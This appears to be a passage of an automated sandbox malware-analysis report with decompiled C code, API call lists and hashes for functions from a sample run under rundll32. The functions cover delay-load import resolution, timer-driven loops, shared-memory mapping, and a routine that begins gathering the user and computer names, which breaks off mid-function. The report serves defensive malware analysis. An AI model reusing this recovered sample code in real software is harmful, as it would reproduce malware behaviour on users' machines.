                  control_flow_graph 65 4be7fc5-4be802a 66 4be802c-4be8046 RaiseException 65->66 67 4be804b-4be8075 65->67 68 4be81fb-4be81ff 66->68 69 4be807a-4be8086 67->69 70 4be8077 67->70 71 4be8088-4be8093 69->71 72 4be8099-4be809b 69->72 70->69 71->72 84 4be81de-4be81e5 71->84 73 4be8143-4be814d 72->73 74 4be80a1-4be80a8 72->74 76 4be814f-4be8157 73->76 77 4be8159-4be815b 73->77 78 4be80aa-4be80b6 74->78 79 4be80b8-4be80c5 LoadLibraryA 74->79 76->77 80 4be815d-4be8160 77->80 81 4be81d9-4be81dc 77->81 78->79 82 4be8108-4be8114 InterlockedExchange 78->82 79->82 83 4be80c7-4be80d7 GetLastError 79->83 89 4be818e-4be819c GetProcAddress 80->89 90 4be8162-4be8165 80->90 81->84 93 4be813c-4be813d FreeLibrary 82->93 94 4be8116-4be811a 82->94 91 4be80d9-4be80e5 83->91 92 4be80e7-4be8103 RaiseException 83->92 87 4be81f9 84->87 88 4be81e7-4be81f4 84->88 87->68 88->87 89->81 96 4be819e-4be81ae GetLastError 89->96 90->89 95 4be8167-4be8172 90->95 91->82 91->92 92->68 93->73 94->73 97 4be811c-4be8128 LocalAlloc 94->97 95->89 98 4be8174-4be817a 95->98 100 4be81ba-4be81bc 96->100 101 4be81b0-4be81b8 96->101 97->73 102 4be812a-4be813a 97->102 98->89 103 4be817c-4be817f 98->103 100->81 104 4be81be-4be81d6 RaiseException 100->104 101->100 102->73 103->89 105 4be8181-4be818c 103->105 104->81 105->81 105->89
                  C-Code - Quality: 51%
                  			E04BE7FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4be0000;
				_t115 = _t139[3] + 0x4be0000;
				_t131 = _t139[4] + 0x4be0000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4be0000;
				_v16 = _t139[5] + 0x4be0000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4be0002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x4bea1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x4bea1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x4bea1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x4bea1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x4bea1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x4bea1b8; // 0x0
										 *_t102 = _t125;
										 *0x4bea1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x4bea1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                  0x04be7fd4
                  0x04be7fea
                  0x04be7ff0
                  0x04be7ff2
                  0x04be7ff7
                  0x04be7ffd
                  0x04be8002
                  0x04be8005
                  0x04be8013
                  0x04be801a
                  0x04be801d
                  0x04be8020
                  0x04be8021
                  0x04be8024
                  0x04be8027
                  0x04be802a
                  0x04be802f
                  0x04be803e
                  0x00000000
                  0x04be8044
                  0x04be804e
                  0x04be8058
                  0x04be805d
                  0x04be805f
                  0x04be8069
                  0x04be806c
                  0x04be806f
                  0x04be8075
                  0x04be8077
                  0x04be8077
                  0x04be807a
                  0x04be807d
                  0x04be8082
                  0x04be8086
                  0x04be8099
                  0x04be809b
                  0x04be8143
                  0x04be8143
                  0x04be814a
                  0x04be814d
                  0x04be8157
                  0x04be8157
                  0x04be815b
                  0x04be81d9
                  0x04be81dc
                  0x04be81de
                  0x04be81de
                  0x04be81e5
                  0x04be81e7
                  0x04be81f1
                  0x04be81f4
                  0x04be81f7
                  0x04be81f7
                  0x00000000
                  0x04be815d
                  0x04be8160
                  0x04be818e
                  0x04be8198
                  0x04be819c
                  0x04be81a4
                  0x04be81a7
                  0x04be81ae
                  0x04be81b8
                  0x04be81b8
                  0x04be81bc
                  0x04be81c1
                  0x04be81d0
                  0x04be81d6
                  0x04be81d6
                  0x04be81bc
                  0x00000000
                  0x04be8167
                  0x04be816a
                  0x04be8172
                  0x04be8187
                  0x04be818c
                  0x00000000
                  0x00000000
                  0x04be818c
                  0x00000000
                  0x04be8172
                  0x04be8160
                  0x04be815b
                  0x04be80a1
                  0x04be80a8
                  0x04be80b8
                  0x04be80bb
                  0x04be80c1
                  0x04be80c5
                  0x04be8108
                  0x04be8114
                  0x04be813d
                  0x04be8116
                  0x04be811a
                  0x04be8120
                  0x04be8128
                  0x04be812a
                  0x04be812d
                  0x04be8133
                  0x04be8135
                  0x04be8135
                  0x04be8128
                  0x04be811a
                  0x00000000
                  0x04be8114
                  0x04be80cd
                  0x04be80d0
                  0x04be80d7
                  0x04be80e7
                  0x04be80ea
                  0x04be80fa
                  0x00000000
                  0x04be8100
                  0x04be80e1
                  0x04be80e5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be80e5
                  0x04be80b2
                  0x04be80b6
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be80b6
                  0x04be808f
                  0x04be8093
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                  • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 04BE803E
                  • LoadLibraryA.KERNEL32(?), ref: 04BE80BB
                  • GetLastError.KERNEL32 ref: 04BE80C7
                  • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 04BE80FA
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: ExceptionRaise$ErrorLastLibraryLoad
                  • String ID: $
                  • API String ID: 948315288-3993045852
                  • Opcode ID: 10aaf07dbebda9415b292077facc3756615b09fe8e7a9c7754a0c3c000ec12c5
                  • Instruction ID: cb18ca815b864fea7f8053e17ee544fc014e895deda266a45a35a90cd0460ac0
                  • Opcode Fuzzy Hash: 10aaf07dbebda9415b292077facc3756615b09fe8e7a9c7754a0c3c000ec12c5
                  • Instruction Fuzzy Hash: 70812EB1A00605AFDB10DFAAD884BAEB7F5FF8C310F14406AE905E7241E775EA14CB61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE6815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 183 4be6815-4be6847 memset CreateWaitableTimerA 184 4be684d-4be68a6 _allmul SetWaitableTimer WaitForMultipleObjects 183->184 185 4be69c8-4be69ce GetLastError 183->185 187 4be68ac-4be68af 184->187 188 4be6930-4be6936 184->188 186 4be69d2-4be69dc 185->186 189 4be68ba 187->189 190 4be68b1 call 4be5251 187->190 191 4be6937-4be693b 188->191 195 4be68c4 189->195 196 4be68b6-4be68b8 190->196 193 4be693d-4be6945 HeapFree 191->193 194 4be694b-4be694f 191->194 193->194 194->191 197 4be6951-4be695b CloseHandle 194->197 198 4be68c8-4be68cd 195->198 196->189 196->195 197->186 199 4be68cf-4be68d6 198->199 200 4be68e0-4be690d call 4be35d2 198->200 199->200 201 4be68d8 199->201 204 4be690f-4be691a 200->204 205 4be695d-4be6962 200->205 201->200 204->198 206 4be691c-4be692c call 4be69e6 204->206 207 4be6964-4be696a 205->207 208 4be6981-4be6989 205->208 206->188 207->188 211 4be696c-4be697f call 4be63f6 207->211 209 4be698f-4be69bd _allmul SetWaitableTimer WaitForMultipleObjects 208->209 209->198 212 4be69c3 209->212 211->209 212->188
                  C-Code - Quality: 83%
                  			E04BE6815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x4bea2e0);
					_v76 = 0;
					_v80 = 0;
					L04BE82DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x4bea30c; // 0x2c8
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x4bea2ec = 5;
						} else {
							_t69 = E04BE5251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x4bea300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E04BE35D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E04BE69E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x4bea2e4);
							goto L21;
						} else {
							__eflags =  *0x4bea2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E04BE63F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x4bea2e8);
								L21:
								L04BE82DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x4bea2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                  0x04be6815
                  0x04be682b
                  0x04be682f
                  0x04be6834
                  0x04be683b
                  0x04be6841
                  0x04be6847
                  0x04be69ce
                  0x04be684d
                  0x04be684d
                  0x04be684f
                  0x04be6854
                  0x04be6855
                  0x04be685b
                  0x04be685f
                  0x04be6863
                  0x04be6871
                  0x04be687f
                  0x04be6883
                  0x04be6885
                  0x04be6892
                  0x04be689e
                  0x04be68a0
                  0x04be68a6
                  0x04be68af
                  0x04be68ba
                  0x04be68ba
                  0x04be68b1
                  0x04be68b1
                  0x04be68b8
                  0x00000000
                  0x00000000
                  0x04be68b8
                  0x04be68c4
                  0x00000000
                  0x04be68c8
                  0x04be68cd
                  0x04be68d8
                  0x04be68d8
                  0x04be68e0
                  0x04be68e6
                  0x04be68ee
                  0x04be68f7
                  0x04be68fe
                  0x04be6902
                  0x04be6907
                  0x04be690d
                  0x00000000
                  0x00000000
                  0x04be690f
                  0x04be6913
                  0x04be691a
                  0x00000000
                  0x04be691c
                  0x04be692c
                  0x04be692c
                  0x00000000
                  0x04be695d
                  0x04be695d
                  0x04be6962
                  0x04be6981
                  0x04be6983
                  0x04be6988
                  0x04be6989
                  0x00000000
                  0x04be6964
                  0x04be6964
                  0x04be696a
                  0x00000000
                  0x04be696c
                  0x04be696c
                  0x04be6971
                  0x04be6973
                  0x04be6978
                  0x04be6979
                  0x04be698f
                  0x04be698f
                  0x04be6997
                  0x04be69a5
                  0x04be69a9
                  0x04be69b5
                  0x04be69b7
                  0x04be69bb
                  0x04be69bd
                  0x00000000
                  0x04be69c3
                  0x00000000
                  0x04be69c3
                  0x04be69bd
                  0x04be696a
                  0x00000000
                  0x04be6962
                  0x04be6930
                  0x04be6932
                  0x04be6936
                  0x04be6937
                  0x04be6937
                  0x04be693b
                  0x04be6945
                  0x04be6945
                  0x04be694b
                  0x04be694e
                  0x04be694e
                  0x04be6955
                  0x04be6955
                  0x04be69dc
                  0x00000000

                  APIs
                  • memset.NTDLL ref: 04BE682F
                  • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04BE683B
                  • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04BE6863
                  • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 04BE6883
                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,04BE26E9,?), ref: 04BE689E
                  • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,04BE26E9,?,00000000), ref: 04BE6945
                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04BE26E9,?,00000000,?,?), ref: 04BE6955
                  • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 04BE698F
                  • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 04BE69A9
                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04BE69B5
                    • Part of subcall function 04BE5251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05609218,00000000,?,74D0F710,00000000,74D0F730), ref: 04BE52A0
                    • Part of subcall function 04BE5251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05609160,?,00000000,30314549,00000014,004F0053,05609270), ref: 04BE533D
                    • Part of subcall function 04BE5251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04BE68B6), ref: 04BE534F
                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04BE26E9,?,00000000,?,?), ref: 04BE69C8
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                  • String ID:
                  • API String ID: 3521023985-0
                  • Opcode ID: e6c775835ad7596bbf8a5243212f53146b1850ea06276ee1356594819521392c
                  • Instruction ID: adae7feee283fb1717b3da34d454a0515bcab0ba37dcaa111b707a85a92f1297
                  • Opcode Fuzzy Hash: e6c775835ad7596bbf8a5243212f53146b1850ea06276ee1356594819521392c
                  • Instruction Fuzzy Hash: 16519FB1508310AFD711EF26CC44DABBBECEBD8324F804A1AF59596191D734E944CFA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 216 4781598-47815ef GetSystemTimeAsFileTime _aulldiv _snwprintf 217 47815f1 216->217 218 47815f6-478160f CreateFileMappingW 216->218 217->218 219 4781659-478165f GetLastError 218->219 220 4781611-478161a 218->220 223 4781661-4781667 219->223 221 478162a-4781638 MapViewOfFile 220->221 222 478161c-4781623 GetLastError 220->222 225 4781648-478164e GetLastError 221->225 226 478163a-4781646 221->226 222->221 224 4781625-4781628 222->224 227 4781650-4781657 CloseHandle 224->227 225->223 225->227 226->223 227->223
                  C-Code - Quality: 69%
                  			E04781598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L04782250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x47841c4;
				_push(_t15 + 0x4785149);
				_push(_t15 + 0x4785048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L0478224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x47841c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                  0x04781598
                  0x047815a1
                  0x047815a5
                  0x047815ab
                  0x047815b0
                  0x047815b5
                  0x047815b8
                  0x047815bb
                  0x047815c0
                  0x047815c1
                  0x047815c4
                  0x047815cf
                  0x047815d6
                  0x047815da
                  0x047815dc
                  0x047815dd
                  0x047815e0
                  0x047815e5
                  0x047815ef
                  0x047815f1
                  0x047815f1
                  0x04781605
                  0x0478160b
                  0x0478160f
                  0x0478165f
                  0x04781611
                  0x0478161a
                  0x04781630
                  0x04781638
                  0x0478164a
                  0x0478164e
                  0x00000000
                  0x00000000
                  0x0478163a
                  0x0478163d
                  0x04781642
                  0x04781644
                  0x04781644
                  0x04781625
                  0x04781627
                  0x04781650
                  0x04781651
                  0x04781651
                  0x0478161a
                  0x04781667

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?), ref: 047815A5
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 047815BB
                  • _snwprintf.NTDLL ref: 047815E0
                  • CreateFileMappingW.KERNELBASE(000000FF,047841C8,00000004,00000000,?,?), ref: 04781605
                  • GetLastError.KERNEL32 ref: 0478161C
                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 04781630
                  • GetLastError.KERNEL32 ref: 04781648
                  • CloseHandle.KERNEL32(00000000), ref: 04781651
                  • GetLastError.KERNEL32 ref: 04781659
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1724014008-0
                  • Opcode ID: 88a45c9e37723229bef4393c284cccabd884a5dc88cd0d545d31b3740baeed66
                  • Instruction ID: 509299bb46e9368b062d73b4608ac926ee95442016f9411197040e14de67012d
                  • Opcode Fuzzy Hash: 88a45c9e37723229bef4393c284cccabd884a5dc88cd0d545d31b3740baeed66
                  • Instruction Fuzzy Hash: 1721D6B2A80104FFD710AFA8DC84EDE37A9EB48354F14842DFA05E7240EA75AD018B60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 74%
                  			E04BE415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L04BE82D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x4bea348; // 0xa1d5a8
				_t5 = _t13 + 0x4beb7b4; // 0x5608d5c
				_t6 = _t13 + 0x4beb644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L04BE7F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x4bea34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                  0x04be415a
                  0x04be4162
                  0x04be4166
                  0x04be416c
                  0x04be4171
                  0x04be4176
                  0x04be4179
                  0x04be417c
                  0x04be4181
                  0x04be4182
                  0x04be4185
                  0x04be418a
                  0x04be4191
                  0x04be419b
                  0x04be419d
                  0x04be419e
                  0x04be41a1
                  0x04be41bd
                  0x04be41c3
                  0x04be41c7
                  0x04be4215
                  0x04be41c9
                  0x04be41d6
                  0x04be41e6
                  0x04be41ee
                  0x04be4200
                  0x04be4204
                  0x00000000
                  0x00000000
                  0x04be41f0
                  0x04be41f3
                  0x04be41f8
                  0x04be41fa
                  0x04be41fa
                  0x04be41d8
                  0x04be41da
                  0x04be4206
                  0x04be4207
                  0x04be4207
                  0x04be41d6
                  0x04be421c

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,04BE25B1,?,?,4D283A53,?,?), ref: 04BE4166
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04BE417C
                  • _snwprintf.NTDLL ref: 04BE41A1
                  • CreateFileMappingW.KERNELBASE(000000FF,04BEA34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 04BE41BD
                  • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04BE25B1,?,?,4D283A53,?), ref: 04BE41CF
                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 04BE41E6
                  • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,04BE25B1,?,?,4D283A53), ref: 04BE4207
                  • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04BE25B1,?,?,4D283A53,?), ref: 04BE420F
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1814172918-0
                  • Opcode ID: 85d4a188126bbd7de66c9a89ff9e42788a6cdb98644ce55631158f7bbadf0c93
                  • Instruction ID: 6453858c4cbef530f10de5d467032bc426727d3a49fcd8e3e22f4dec4da7dfcf
                  • Opcode Fuzzy Hash: 85d4a188126bbd7de66c9a89ff9e42788a6cdb98644ce55631158f7bbadf0c93
                  • Instruction Fuzzy Hash: 1D21A5B2640214BBDB21EF66CC05FAE77B9EFC4750F110061F505EB292D770A9098B60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE3BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 237 4be3bd3-4be3be7 238 4be3be9-4be3bee 237->238 239 4be3bf1-4be3c03 call 4be71cd 237->239 238->239 242 4be3c57-4be3c64 239->242 243 4be3c05-4be3c15 GetUserNameW 239->243 244 4be3c66-4be3c7d GetComputerNameW 242->244 243->244 245 4be3c17-4be3c27 RtlAllocateHeap 243->245 246 4be3c7f-4be3c90 RtlAllocateHeap 244->246 247 4be3cbb-4be3cdf 244->247 245->244 248 4be3c29-4be3c36 GetUserNameW 245->248 246->247 249 4be3c92-4be3c9b GetComputerNameW 246->249 250 4be3c38-4be3c44 call 4be56b9 248->250 251 4be3c46-4be3c55 HeapFree 248->251 252 4be3cac-4be3cb5 HeapFree 249->252 253 4be3c9d-4be3ca9 call 4be56b9 249->253 250->251 251->244 252->247 253->252
                  C-Code - Quality: 96%
                  			E04BE3BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
